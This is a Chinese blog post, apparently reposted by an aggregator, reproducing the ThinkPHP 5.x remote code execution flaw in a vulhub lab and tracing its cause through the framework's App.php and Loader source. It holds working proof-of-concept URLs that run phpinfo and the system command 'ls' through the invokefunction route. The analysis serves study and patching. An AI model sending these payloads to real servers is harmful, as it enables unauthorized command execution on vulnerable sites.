Thinkphp 5.x全版本任意代码执行 复现

Posted g0udan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Thinkphp 5.x全版本任意代码执行 复现相关的知识,希望对你有一定的参考价值。

Thinkphp在2018/12/10发布了安全更新:

影响版本

5.x < 5.0.23
5.1.x <= 5.1.31

漏洞复现

  • 环境:
    docker vulhub ubuntu thinkphp5.0.22
  • POC:
    代码执行:
http://your-ip:8080/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

命令执行:

http://192.168.232.128:8080/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

漏洞分析

  • 成因:
    框架对控制器名没有进行足够的检测,导致可以用命名空间的方式来调用任意类的任意方法。
  • 分析
    在thinkphp\\library\\think\\App.php中设置当前请求的控制器、操作
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config[\'default_controller\']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config[\'default_action\']);
        if (!empty($config[\'action_convert\'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);

跟踪controller
在该文件下的exec函数中执行了控制器操作

    protected static function exec($dispatch, $config)
    {
        switch ($dispatch[\'type\']) {
            case \'redirect\': // 重定向跳转
                $data = Response::create($dispatch[\'url\'], \'redirect\')
                    ->code($dispatch[\'status\']);
                break;
            case \'module\': // 模块/控制器/操作
                $data = self::module(
                    $dispatch[\'module\'],
                    $config,
                    isset($dispatch[\'convert\']) ? $dispatch[\'convert\'] : null
                );
                break;
            case \'controller\': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch[\'var\']);
                $data = Loader::action(
                    $dispatch[\'controller\'],
                    $vars,
                    $config[\'url_controller_layer\'],
                    $config[\'controller_suffix\']
                );
                break;
            case \'method\': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch[\'var\']);
                $data = self::invokeMethod($dispatch[\'method\'], $vars);
                break;
            case \'function\': // 闭包
                $data = self::invokeFunction($dispatch[\'function\']);
                break;
            case \'response\': // Response 实例
                $data = $dispatch[\'response\'];
                break;
            default:
                throw new \\InvalidArgumentException(\'dispatch type not support\');
        }

        return $data;
    }

执行控制器操作代码块

            case \'controller\': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch[\'var\']);
                $data = Loader::action(
                    $dispatch[\'controller\'],
                    $vars,
                    $config[\'url_controller_layer\'],
                    $config[\'controller_suffix\']
                );

这里调用了Loader的action,我们继续跟踪

    public static function action($url, $vars = [], $layer = \'controller\', $appendSuffix = false)
    {
        $info   = pathinfo($url);
        $action = $info[\'basename\'];
        $module = \'.\' != $info[\'dirname\'] ? $info[\'dirname\'] : Request::instance()->controller();
        $class  = self::controller($module, $layer, $appendSuffix);

        if ($class) {
            if (is_scalar($vars)) {
                if (strpos($vars, \'=\')) {
                    parse_str($vars, $vars);
                } else {
                    $vars = [$vars];
                }
            }

            return App::invokeMethod([$class, $action . Config::get(\'action_suffix\')], $vars);
        }

        return false;
    }

我们看到$class = self::controller($module, $layer, $appendSuffix);,这里调用了当前文件下的controller
我们跟踪controller

    public static function controller($name, $layer = \'controller\', $appendSuffix = false, $empty = \'\')
    {
        list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

        if (class_exists($class)) {
            return App::invokeClass($class);
        }

        if ($empty) {
            $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

            if (class_exists($emptyClass)) {
                return new $emptyClass(Request::instance());
            }
        }

        throw new ClassNotFoundException(\'class not exists:\' . $class, $class);
    }

在这里又调用了getModuleAndClass方法,跟踪该方法

    protected static function getModuleAndClass($name, $layer, $appendSuffix)
    {
        if (false !== strpos($name, \'\\\\\')) {
            $module = Request::instance()->module();
            $class  = $name;
        } else {
            if (strpos($name, \'/\')) {
                list($module, $name) = explode(\'/\', $name, 2);
            } else {
                $module = Request::instance()->module();
            }

            $class = self::parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class];
    }

其中

if (false !== strpos($name, \'\\\\\')) {
            $module = Request::instance()->module();
            $class  = $name;
        }

简单分析可知如果控制器名中存在/(不存在\\)就会直接返回
$class要经过parseClass方法解析,跟踪该方法

    public static function parseClass($module, $layer, $name, $appendSuffix = false)
    {

        $array = explode(\'\\\\\', str_replace([\'/\', \'.\'], \'\\\\\', $name));
        $class = self::parseName(array_pop($array), 1);
        $class = $class . (App::$suffix || $appendSuffix ? ucfirst($layer) : \'\');
        $path  = $array ? implode(\'\\\\\', $array) . \'\\\\\' : \'\';

        return App::$namespace . \'\\\\\' .
            ($module ? $module . \'\\\\\' : \'\') .
            $layer . \'\\\\\' . $path . $class;
    }

先是分割,parseName方法是thinkphp的命名风格转换
最后拼接返回
这样getModuleAndClass返回的是一个带命名空间的完整类名
controller函数中list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);这句代码我们差不多分析完了,回到controller中

    public static function controller($name, $layer = \'controller\', $appendSuffix = false, $empty = \'\')
    {
        list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

        if (class_exists($class)) {
            return App::invokeClass($class);
        }

        if ($empty) {
            $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

            if (class_exists($emptyClass)) {
                return new $emptyClass(Request::instance());
            }
        }

        throw new ClassNotFoundException(\'class not exists:\' . $class, $class);
    }

判断了类是否存在,不存在会自动加载类

之后就是实例化类,调用类的方法

综上,由于判断类的命名空间采用的是判断是否存在\\,所以我们可以用\\来构建命名空间,从而调用类的方法

在App.php文件中App类的invokeFunction的作用是执行函数

    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \\ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record(\'[ RUN ] \' . $reflect->__toString(), \'info\');

        return $reflect->invokeArgs($args);
    }

因此构造poc:

http://your-ip:8080/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

(call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数)

参考文章
https://xz.aliyun.com/t/3570

以上是关于Thinkphp 5.x全版本任意代码执行 复现的主要内容,如果未能解决你的问题,请参考以下文章

ThinkPHP 5.x远程命令执行漏洞分析与复现

thinkphp2.x任意代码执行漏洞复现

Vulnhub-ThinkPHP5 任意代码执行漏洞

漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

thinkphp 5.x~3.x 文件包含漏洞分析

ThinkPHP5 远程代码执行(POST)